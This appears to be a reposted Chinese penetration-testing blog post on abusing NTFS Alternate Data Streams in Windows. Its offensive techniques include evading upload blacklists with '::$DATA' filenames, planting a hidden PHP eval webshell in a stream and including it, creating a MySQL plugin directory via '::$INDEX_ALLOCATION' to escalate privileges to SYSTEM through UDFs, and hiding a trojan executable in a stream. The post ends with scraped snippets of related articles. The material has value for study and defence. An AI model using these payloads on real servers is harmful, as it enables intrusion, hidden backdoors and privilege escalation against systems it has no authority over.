NTFS中的ADS的一些问题

有关ADS的简单说明请看http://www.xfocus.net/articles/200212/466.html
可以看到ADS在很久以前就被一些安全人员所关注,并且也提出了一些经典的利用,比如隐藏文件,隐藏
webshell(http://blog.csdn.net/lake2/article/details/269659),随着这次爆出来的IIS的
权限绕过,我们再次测试了一下ADS在渗透中的利用方法,并发现了一些比较有意思的现象。

1 经典的IIS 目录访问权限绕过:

详见:http://www.exploit-db.com/exploits/19033/

注:这里的权限是NTFS目录属性的权限,并非说是后台直接绕过。别误会。

2 Bypass 黑名单验证

在测试中我们发现,如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件
内容相同,并被解析。假设我们需要上传的文件内容为:<?php phpinfo();?>下面是上传是会出现的现象:

上传的文件名  服务器表面现象    生成的文件内容

Test.php:a.jpg     生成Test.php  空

Test.php::$DATA  生成test.php  <?php phpinfo();?>

Test.php::$INDEX_ALLOCATION  生成test.php文件夹

Test.php::$DATA\0.jpg  生成0.jpg  <?php phpinfo();?>

Test.php::$DATA\aaa.jpg  生成aaa.jpg  <?php phpinfo();?>

PS: 上传test.php:a.jpg的时候其实是在服务器上正常生成了一个数据流文件,可以通过notepad test.php:a.jpg查看内容,而test.php为空也是正常的。

根据第二个现象,我们可以bypass一些黑名单验证。

后面我加\0测试的时候是想截断后面的东西,但是发现windows会无视”/””\”这两个符号前面的东西,只识别这俩符号后的字符串。(由于windows把\ /当成了目录,而上传只认识文件名所导致的)

3 在隐藏webshell中的利用:

方法:在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞: echo ^<?php @eval(request[cmd])?^>  > index.php:hidden.jpg

这样子就生成了一个不可见的shell
hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。我们可以在另外一个正常文件里
把这个ADS文件include进去,<?php
include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了。

4 UDF提权中的利用

UDF提权tips:如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创
建加载自定义函数。而又由于mysql是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命
令了。

Mysql
5.1以上(现在都5.6版本了,估计老版的不常见了。),在加载自定义函数的DLL时,要求目录必须是mysql目录下的lib\plugin\目录。
直接导入C:\windows\system32这种目录是加载不了dll的,也就没办法creat function。但是可悲的是mysql
5.1之后的版本在安装的时候是默认不存在lib\plugin目录的,除非你安装的是完整版(官方的那种200多M的)。

还有一些情况,比如:你获取webshell了,但是webshell权限被限制的很死,根本没办法新建lib\plugin目录,或者你根本就
没有webshell,只有一个Mysql的弱口令(http://blog.sina.com.cn/s
/blog_6ca7b58101013kt4.html)。在以前估计就是只有放弃了,但是利用ADS我们则可以bypass掉这个限制。

demo :

select ‘xxx‘ into outfile ‘D:\\mysql\\lib::$INDEX_ALLOCATION‘;

会在mysql目录下生成一个lib目录

5 利用ADS隐藏木马

隐藏好办,直接在cmd里面执行命令: type muma.ext test.txt:muma.exe

这样就把木马写进test.txt的数据流里了。但是想运行的话还得借助其他工具,winrar就是一个,具体方法百度百科里都有,但是百科里的别信,成功不了,需要用type命令才能将二进制可执行文件写进去的。

Winrar的自解压木马我还是觉得不靠谱,毕竟后缀是exe,如果目标连这个都确定不了,那还不如直接发muma.exe。所以这个利用我也没怎么研究了。

注:数据流中如果是可执行文件,用start命令调用时,需要在win xp 和2003环境下,win7下失败。

相关信息下载:NTFS-ADS

时间: 2024-08-09 13:55:48

NTFS中的ADS的一些问题的相关文章

利用NTFS交换数据流隐藏文件

利用NTFS交换数据流隐藏文件 发表于 2012 年 12 月 15 日 由 晴刃 这篇文章介绍一下Windows的NTFS文件系统的ADS(alternate data streams,交换数据流)特性:实例演示如何利用ADS将文件隐藏到任何宿主上(宿主可以是文件夹.文件以及磁盘根目录):文章最后将提供两个小工具,利用它们来检测和清除隐藏在宿主上的文件. 文章目录 [*1*].什么是NTFS交换数据流(ADS) [*2*].NTFS交换数据流隐藏文件实例 如何利用NTFS交换数据流隐藏文本文件

NTFS格式下的Alternate Data Streams

今天我写点NTFS的交换数据流以及其带来的安全问题(Alternate Data Stream/ADS) ========================================================================================================================================================================= 1.什么是ADS?   要了解什么是ADS我们必须先了

NTFS文件系统简介(转载)

原文地址:http://www.cnblogs.com/watertao/archive/2011/11/28/2266595.html 1.简介 NTFS(New Technology File System)是Windows NT以及之后的Windows 2000.Windows XP.Windows Server 2003.Windows Server 2008.Windows Vista和Windows 7的标准文件系统. NTFS取代了文件分配表(FAT)文件系统,为Microsoft

文件系统取证分析(第11章:NTFS概念)

/* Skogkatt 开始翻译于2015-01-24,仅作为学习研究之用,谢绝转载. 译注:我翻译这本书的这三章虽然蓄谋已久,但并不是一个计划好的工作.因为之前和vczh.mili.darkfall曾讨论过everything这个软件,也曾想过要写一个开源的everything,于是就出来一个坑.everything这个软件其实是从底层直接parse了NTFS MFT,然后parse类每一个FILE entry,从里面拆出来了每一个文件的信息,这个操作速度远快于Win32 FindFirstF

以程序的方式操纵NTFS的文件权限

Windows NT/2K/XP版本的操作系统都支持NTFS格式的文件系统,这是一个有安全性质的文件系统,你可以通过Windows的资源管理器来设置对每个目录和 文件的用户访问权限.这里我就不对NTFS的安全性进行讲述了,我默认你对NTFS的文件目录的安全设置有了一定的了解.在这里,我将向你介绍使用 Windows的API函数来操纵NTFS的文件权限. 一.       理论和术语 在Windows NT/2K?XP下的对象,不一定是文件系统,还有其它的一些对象,如:进程.命名管道.打印机.网络

在STM32上实现NTFS之3:DPT与MBR的实现

上一节讲到了NTFS的大致结构,这一节就其引导区中的扇区0,即引导扇区做说明. 图1为WinHEX截取的一个"标准的"NTFS的引导扇区数据. 图1 SD卡的物理0扇区 可以看到,柱面磁头扇区编号0,0,1,那么这是整个磁盘的0号扇区了.现在给出MBR的数据结构如下表(表格翻译整理自MSDN): 字节偏移量 数据长度(字节) 范例数值 数据项说明 0x00 3 4E 54 46 53 20 20 20 20 跳转代码(0xEB5290) 0x03 8 OEM号,这里是"NTF

在STM32上实现NTFS之2:磁盘知识基础与NTFS结构

本节的图片,部分原创,部分摘自百度图片,如果有引用他处的图片或原话,在文章末尾会特别注明! 磁盘基础知识. 我们先来看一个传统机械硬盘的拆解图,如图1. 图1 机械硬盘拆解图 看上面的图--不要有拆硬盘的冲动哈!从图上可以看出,磁盘整体上,分为碟片.磁头.控制器.电机和外壳.信息存储于碟片上,通过碟片高速旋转,磁头从碟片上读出一个个的磁极数据,传递到控制器,还原成标准的01数据,传递给电脑,很神奇吧! 那么我们所需要了解的,主要就在这几片碟片上.现代的存储技术,碟片上的每个小磁粒有可能达到微米级

如何在 Linux 中整理磁盘碎片

有一个神话是 linux 的磁盘从来不需要整理碎片.在大多数情况下这是真的,大多数因为是使用的是优秀的日志文件系统(ext3.4等等)来处理文件系统.然而,在一些特殊情况下,碎片仍旧会产生.如果正巧发生在你身上,解决方法很简单. 什么是磁盘碎片 文件系统会按块更新文件,如果这些块没有连成一整块而是分布在磁盘的各个角落中时,就会形成磁盘碎片.这对于 FAT 和 FAT32 文件系统而言是这样的.在 NTFS 中这种情况有所减轻,但在 Linux(extX)中却几乎不会发生.下面是原因: 在像 FA

NTFS 文件系统基础知识

1.      NTFS 中所有都是文件,包括无数据,都是以文件形式进行访问. 元数据文件包括: $Mft  $MftMirr  $LogFile $Volume  $AttrDef  $BitMap $Boot  $BadClus  $Quota $UpCase  $Cairo. 2.      普通文件(目录)的信息都是通过属性/值对来表示的. 3.      $MFT 中记录了所有文件的文件记录,文件记录大小一般为 1K.也就是每个文件都会在 $MFT 文件中存放一份记录,且这个文件记录一